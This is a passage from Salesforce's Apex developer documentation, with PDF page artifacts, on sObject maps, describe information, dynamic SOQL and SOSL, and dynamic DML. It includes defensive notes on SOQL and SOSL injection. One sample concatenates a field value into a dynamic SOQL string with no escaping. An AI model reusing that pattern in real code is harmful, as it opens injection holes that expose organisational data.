This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their Id
and Name fields. The new operator uses the returned list of accounts to create a map.
// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keyset()) {
Account a = m.get(idKey);
System.debug(a);
}
One common usage of this map type is for in-memory “joins” between two tables.
Using Map Methods
The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements.
This example uses Map methods to add new elements and retrieve existing elements from the map. This example also checks for the
existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value.
Account myAcct = new Account(); //Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct); // Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1); // Retrieve a value, given a particular key
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the
map
sObject Map Considerations
Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one
or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns null. This
is because the modified sObject isn’t found in the map due to different field values. This can occur if you explicitly change a field on the
sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the
ID field autofilled. Attempting to fetch this Object from a map to which it was added before the insert operation won’t yield the
map entry, as shown in this example.
// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer>m=new Map<sObject, Integer>{
164
Maps of sObjectsWorking with Data in Apex
a1 => 1};
// Get a1's value from the map.
// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);
// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);
// Get a1's value from the map again.
// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));
Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject.
If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger,
the sObjects in Trigger.New in the after trigger aren’t found in the map because the two sets of sObjects differ by the fields that
are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate,
CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.
Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:
•Access sObject and field describe information
Describe information provides metadata information about sObject and field properties. For example, the describe information for
an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the
sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value,
whether it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an organization, not individual records.
•Access Salesforce app information
You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds
to a collection of tabs. Describe information for an app includes the app’s label, namespace, and tabs. Describe information for a tab
includes the sObject associated with the tab, tab icons and colors.
•Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the
ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an
application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are
installed from Force.com AppExchange.
165
Dynamic ApexWorking with Data in Apex
Understanding Apex Describe Information
You can describe sObjects either by using tokens or the describeSObjects Schema method.
Apex provides two data structures and a method for sObject and field describe information:
•Token—a lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes.
•The describeSObjects method—a method in the Schema class that performs describes on one or more sObject types.
•Describe result—an object of type Schema.DescribeSObjectResult that contains all the describe properties for the
sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing
the describe, using either the sObject token or the describeSObjects method.
Describing sObjects Using Tokens
It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe
which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods
return the tokens for sObject and field, respectively.
Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an
sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using
the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or
a custom calculated field.
The following code provides a general example of how to use tokens and describe results to access information about sObject and field
properties:
// Create a new account as the generic type sObject
sObject s = new Account();
// Verify that the generic sObject is an Account sObject
System.assert(s.getsObjectType() == Account.sObjectType);
// Get the sObject describe result for the Account object
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the field describe result from the token
dfr = dfr.getSObjectField().getDescribe();
The following algorithm shows how you can work with describe information in Apex:
1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.)
2. Determine the sObject you need to access.
3. Generate the describe result for the sObject.
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.)
5. Generate the describe result for the field the code needs to access.
166
Understanding Apex Describe InformationWorking with Data in Apex
Using sObject Tokens
SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing
token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the
describe result.
To access the token for an sObject, use one of the following methods:
•Access the sObjectType member variable on an sObject type, such as Account.
•Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map.
Schema.SObjectType is the data type for an sObject token.
In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;
The following also returns a token for the Account sObject:
Account a = new Account();
Schema.sObjectType t = a.getSObjectType();
This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token
System.assertEquals(s.getSObjectType(), Account.sObjectType);
// Create a list of generic sObjects
List<sObject> sobjList = new Account[]{};
// Verify if the list of sObjects contains Account tokens
System.assertEquals(sobjList.getSObjectType(), Account.sObjectType);
Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these
types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example,
RecordType.sObjectType, the field is returned.
Obtaining sObject Describe Results Using Tokens
To access the describe result for an sObject, use one of the following methods:
•Call the getDescribe method on an sObject token.
•Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.
Schema.DescribeSObjectResult is the data type for an sObject describe result.
The following example uses the getDescribe method on an sObject token:
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;
167
Understanding Apex Describe InformationWorking with Data in Apex
For more information about the methods available with the sObject describe result, see DescribeSObjectResult Class.
SEE ALSO:
fields
fieldSets
Using Field Tokens
To access the token for a field, use one of the following methods:
•Access the static member variable name of an sObject static type, for example, Account.Name.
•Call the getSObjectField method on a field describe result.
The field token uses the data type Schema.SObjectField.
In the following example, the field token is returned for the Account object's Description field:
Schema.SObjectField fieldToken = Account.Description;
In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the describe result from the token
dfr = dfr.getSObjectField().getDescribe();
Note: Field tokens aren't available for person accounts. If you access Schema.Account.fieldname, you'll get an exception
error. Instead, specify the field name as a string.
Using Field Describe Results
To access the describe result for a field, use one of the following methods:
•Call the getDescribe method on a field token.
•Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so
on.)
The field describe result uses the data type Schema.DescribeFieldResult.
The following example uses the getDescribe method:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
This example uses the fields member variable method:
Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;
In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject
at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account).
It validates that the field name following the fields member variable is legitimate. The fields member variable only works when
used in this manner.
168
Using Field TokensWorking with Data in Apex
Note: Don’t use the fields member variable without also using either a field member variable name or the getMap method.
For more information on getMap, see the next section.
For more information about the methods available with a field describe result, see DescribeFieldResult Class.
Accessing All Field Describe Results for an sObject
Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and
the field tokens (values) for an sObject.
The following example generates a map that can be used to access a field by name:
Map<String, Schema.SObjectField> fieldMap = Schema.SObjectType.Account.fields.getMap();
Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources.
Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe
result for it.
The map has the following characteristics:
•It is dynamic, that is, it is generated at runtime on the fields for that sObject.
•All field names are case insensitive.
•The keys use namespaces as required.
•The keys reflect whether the field is a custom object.
For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as
MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is N2__MyField__c.
In addition, standard fields have no namespace prefix.
Field Describe Considerations
Note the following when describing fields.
•A field describe that’s executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in
the installing organization. This is not true if the field describe is executed from a class that’s not within an installed managed package.
•When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of
the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version,
components of a geolocation field are returned even if the class is saved in an earlier API version.
SEE ALSO:
fields
fieldSets
Understanding Describe Information Permissions
Apex classes and triggers run in system mode. All classes and triggers that are not included in a package, that is, are native to your
organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you can generate
a map of all the sObjects for your organization, regardless of the current user's permission.
If you execute describe calls in an anonymous block, user permissions are taken into account. As a result, not all sObjects and fields can
be looked up if access is restricted for the running user. For example, if the you describe account fields in an anonmynous block and you
don’t have access to all fields, not all fields are returned. However, all fields are returned for the same call in an Apex class.
169
Understanding Describe Information PermissionsWorking with Data in Apex
Dynamic Apex, contained in managed packages created by Salesforce ISV partners that are installed from Force.com AppExchange, have
restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant
access to standard sObjects not included as part of the managed package. While Partners can request access to standard objects, custom
objects are not included as part of the managed package and can never be referenced or accessed by dynamic Apex that is packaged.
For more information, see “About API and Dynamic Apex Access in Packages” in the Salesforce online help.
Describing sObjects Using Schema Method
As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing one
or more sObject type names for the sObjects you want to describe.
This example gets describe metadata information for two sObject types—The Account standard object and the Merchandise__c custom
object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as
the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.
// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};
// Make the describe call
Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);
System.debug('Got describe information for ' + results.size() + ' sObjects.');
// For each returned result, get some info
for(Schema.DescribeSobjectResult res : results) {
System.debug('sObject Label: ' + res.getLabel());
System.debug('Number of fields: ' + res.fields.getMap().size());
System.debug(res.isCustom() ? 'This is a custom object.' :'This is a standard object.');
// Get child relationships
Schema.ChildRelationship[] rels = res.getChildRelationships();
if (rels.size() > 0) {
System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
}
}
SEE ALSO:
fields
fieldSets
Describing Tabs Using Schema Methods
You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call
in Apex. Also, you can get more detailed information about each tab. The methods that let you perform this are the describeTabs
Schema method and the getTabs method in Schema.DescribeTabResult, respectively.
170
Describing sObjects Using Schema MethodWorking with Data in Apex
This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales
app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab
describe information is written to the debug output.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}
// Display tab info for the Sales app
if (appLabel == 'Sales') {
List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}
// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://yourInstance.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
171
Describing Tabs Using Schema MethodsWorking with Data in Apex
// getUrl=https://yourInstance.salesforce.com/img/icon/accounts32.png;getWidth=32;],
// Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
// getUrl=https://yourInstance.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://yourInstance.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://yourInstance.salesforce.com/001/o
// DEBUG|isCustom: false
Accessing All sObjects
Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys)
to sObject tokens (values). For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();
The map has the following characteristics:
•It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions.
•The sObject names are case insensitive.
•The keys are prefixed with the namespace, if any.*
•The keys reflect whether the sObject is a custom object.
* Starting with Apex saved using Salesforce API version 28.0, the keys in the map that getGlobalDescribe returns are always
prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the
getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace, the key
returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace
of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace
N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1,
and the sObject is in namespace N2, the key is N2__MyObject__c.
Standard sObjects have no namespace prefix.
Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens
for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is
not true if the getGlobalDescribe method is called from a class not within an installed managed package.
Accessing All Data Categories Associated with an sObject
Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the
categories associated with a specific object:
1. Return all the category groups associated with the objects of your choice (see
describeDataCategoryGroups(sObjectNames)).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see Describe
DataCategoryGroupResult Class).
3. Specify the category group and associated object, then retrieve the categories available to this object (see
describeDataCategoryGroupStructures).
The describeDataCategoryGroupStructures method returns the categories available for the object in the category group
you specified. For additional information about data categories, see “Data Categories in Salesforce.com” in the Salesforce online help.
172
Accessing All sObjectsWorking with Data in Apex
In the following example, the describeDataCategoryGroupSample method returns all the category groups associated with
the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories available
for articles and questions in the Regions category group. For additional information about articles and questions, see “Work with Articles
and Translations” and “Answers Overview” in the Salesforce online help.
To use the following example, you must:
•Enable Salesforce Knowledge.
•Enable the answers feature.
•Create a data category group called Regions.
•Assign Regions as the data category group to be used by Answers.
•Make sure the Regions data category group is assigned to Salesforce Knowledge.
For more information on creating data category groups, see “Create and Modify Category Groups” in the Salesforce online help. For more
information on answers, see “Answers Overview” in the Salesforce online help.
public class DescribeDataCategoryGroupSample {
public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
try {
//Creating the list of sobjects to use for the describe
//call
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Using the results and retrieving the information
for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
//Getting the name of the category
singleResult.getName();
//Getting the name of label
singleResult.getLabel();
//Getting description
singleResult.getDescription();
//Getting the sobject
singleResult.getSobject();
}
}catch(Exception e){
}
return describeCategoryResult;
}
173
Accessing All Data Categories Associated with an sObjectWorking with Data in Apex
}
public class DescribeDataCategoryGroupStructures {
public static List<DescribeDataCategoryGroupStructureResult>
getDescribeDataCategoryGroupStructureResults(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
try {
//Making the call to the describeDataCategoryGroups to
//get the list of category groups associated
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Creating a list of pair objects to use as a parameter
//for the describe call
List<DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();
//Looping throught the first describe result to create
//the list of pairs for the second describe call
for(DescribeDataCategoryGroupResult singleResult :
describeCategoryResult){
DataCategoryGroupSobjectTypePair p =
new DataCategoryGroupSobjectTypePair();
p.setSobject(singleResult.getSobject());
p.setDataCategoryGroupName(singleResult.getName());
pairs.add(p);
}
//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);
//Getting data from the result
for(DescribeDataCategoryGroupStructureResult singleResult :
describeCategoryStructureResult){
//Get name of the associated Sobject
singleResult.getSobject();
//Get the name of the data category group
singleResult.getName();
//Get the name of the data category group
singleResult.getLabel();
//Get the description of the data category group
singleResult.getDescription();
//Get the top level categories
DataCategory [] toplevelCategories =
174
Accessing All Data Categories Associated with an sObjectWorking with Data in Apex
singleResult.getTopCategories();
//Recursively get all the categories
List<DataCategory> allCategories =
getAllCategories(toplevelCategories);
for(DataCategory category : allCategories) {
//Get the name of the category
category.getName();
//Get the label of the category
category.getLabel();
//Get the list of sub categories in the category
DataCategory [] childCategories =
category.getChildCategories();
}
}
}catch (Exception e){
}
return describeCategoryStructureResult;
}
private static DataCategory[] getAllCategories(DataCategory [] categories){
if(categories.isEmpty()){
return new DataCategory[]{};
}else {
DataCategory [] categoriesClone = categories.clone();
DataCategory category = categoriesClone[0];
DataCategory[] allCategories = new DataCategory[]{category};
categoriesClone.remove(0);
categoriesClone.addAll(category.getChildCategories());
allCategories.addAll(getAllCategories(categoriesClone));
return allCategories;
}
}
}
Testing Access to All Data Categories Associated with an sObject
The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned
category group and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupSampleTest {
public static testMethod void describeDataCategoryGroupSampleTest(){
List<DescribeDataCategoryGroupResult>describeResult =
DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
//Assuming that you have KnowledgeArticleVersion and Questions
//associated with only one category group 'Regions'.
System.assert(describeResult.size() == 2,
'The results should only contain two results: ' + describeResult.size());
175
Accessing All Data Categories Associated with an sObjectWorking with Data in Apex
for(DescribeDataCategoryGroupResult result : describeResult) {
//Storing the results
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
}
}
}
This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group,
categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());
//Creating category info
CategoryInfo world = new CategoryInfo('World','World');
CategoryInfo asia = new CategoryInfo('Asia','Asia');
CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
'North America');
CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
'South America');
CategoryInfo europe = new CategoryInfo('Europe','Europe');
List<CategoryInfo> info = new CategoryInfo[] {
asia, northAmerica, southAmerica, europe
};
for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
176
Accessing All Data Categories Associated with an sObjectWorking with Data in Apex
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
DataCategory [] topLevelCategories = result.getTopCategories();
System.assert(topLevelCategories.size() == 1,
'Incorrect number of top level categories returned: ' + topLevelCategories.size());
System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&
topLevelCategories[0].getName() == world.getName());
//checking if the correct children are returned
DataCategory [] children = topLevelCategories[0].getChildCategories();
System.assert(children.size() == 4,
'Incorrect number of children returned: ' + children.size());
for(Integer i=0; i < children.size(); i++){
System.assert(children[i].getLabel() == info[i].getLabel() &&
children[i].getName() == info[i].getName());
}
}
}
private class CategoryInfo {
private final String name;
private final String label;
private CategoryInfo(String n, String l){
this.name = n;
this.label = l;
}
public String getName(){
return this.name;
}
public String getLabel(){
return this.label;
}
}
}
Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at run time with Apex code. Dynamic SOQL enables you to create more flexible
applications. For example, you can create a search based on input from an end user or update records with varying field names.
To create a dynamic SOQL query at run time, use the database query method, in one of the following ways.
177
Dynamic SOQLWorking with Data in Apex
•Return a single sObject when the query returns a single record:
sObject s = Database.query(string_limit_1);
•Return a list of sObjects when the query returns more than a single record:
List<sObject> sobjList = Database.query(string);
The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOQL queries are processed.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data
type. At run time, the system validates that the type of the query matches the declared type of the variable. If the query does not return
the correct sObject type, a run-time error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 274.
For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Force.com SOQL and SOSL Reference.
Dynamic SOQL Considerations
You can use simple bind variables in dynamic SOQL query strings. The following is allowed:
String myTestString = 'TestName';
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name =
:myTestString');
However, unlike inline SOQL, dynamic SOQL can’t use bind variable fields in the query string. The following example isn’t supported and
results in a Variable does not exist error:
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :myVariable.field1__c');
You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
='+ resolvedField1);
SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL
statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOQL
statement and you do not handle the input properly.
To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at run time with Apex code. Dynamic SOSL enables you to create more flexible
applications. For example, you can create a search based on input from an end user, or update records with varying field names.
178
Dynamic SOSLWorking with Data in Apex
To create a dynamic SOSL query at run time, use the search query method. For example:
List<List <sObject>> myQuery = search.query(SOSL_search_string);
The following example exercises a simple SOSL query string.
String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';
List<List<SObject>>searchList=search.query(searchquery);
Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the
results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOSL queries are processed.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 274.
For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Force.com SOQL and SOSL Reference.
Use Dynamic SOSL to Return Snippets
To provide more context for records in search results, use the SOSL WITH SNIPPET clause. Snippets make it easier to identify the
content you’re looking for. For information about how snippets are generated, see WITH SNIPPET in the Force.com SOQL and SOSL
Reference.
To use the SOSL WITH SNIPPET clause in a dynamic SOSL query at run time, use the Search.find method.
Search.SearchResults searchResults = Search.find(SOSL_search_string);
This example exercises a simple SOSL query string that includes a WITH SNIPPET clause. The example calls System.debug()
to print the returned titles and snippets. Your code would display the titles and snippets in a Web page.
Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\')
WITH SNIPPET (target_length=120)');
List<Search.SearchResult> articlelist = searchResults.get('KnowledgeArticleVersion');
for (Search.SearchResult searchResult : articleList) {
KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject();
System.debug(article.Title);
System.debug(searchResult.getSnippet());
}
SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL
statements into your code. A SOSL injection can occur in Apex code whenever your application relies on end-user input to construct a
dynamic SOSL statement and you do not handle the input properly.
179
Dynamic SOSLWorking with Data in Apex
To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
SEE ALSO:
find(searchQuery)
Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert
them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a
concrete sObject type (such as Account). For example:
// Get a new account
Account a = new Account();
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();
Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast
back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and
Casting on page 95.
You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For
example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
newSObject([SELECT Id FROM Account LIMIT 1][0].Id);
See SObjectType Class.
Dynamic sObject Creation Example
This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates a
new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic creation
of an account.
public class DynamicSObjectCreation {
public static sObject createObject(String typeName) {
Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
if (targetType == null) {
// throw an exception
}
// Instantiate an sObject with the type passed in as an argument
// at run time.
return targetType.newSObject();
180
Dynamic DMLWorking with Data in Apex
}
}
@isTest
private class DynamicSObjectCreationTest {
static testmethod void testObjectCreation() {
String typeName = 'Account';
String acctName = 'Acme';
// Create a new sObject by passing the sObject type as an argument.
Account a = (Account)DynamicSObjectCreation.createObject(typeName);
System.assertEquals(typeName, String.valueOf(a.getSobjectType()));
// Set the account name and insert the account.
a.Name = acctName;
insert a;
// Verify the new sObject got inserted.
Account[] b = [SELECT Name from Account WHERE Name = :acctName];
system.assert(b.size() > 0);
}
}
Setting and Retrieving Field Values
Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a
String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber','abc');
The following example uses the AccountNumber field's token instead:
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getsObjectField(), '12345');
The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the
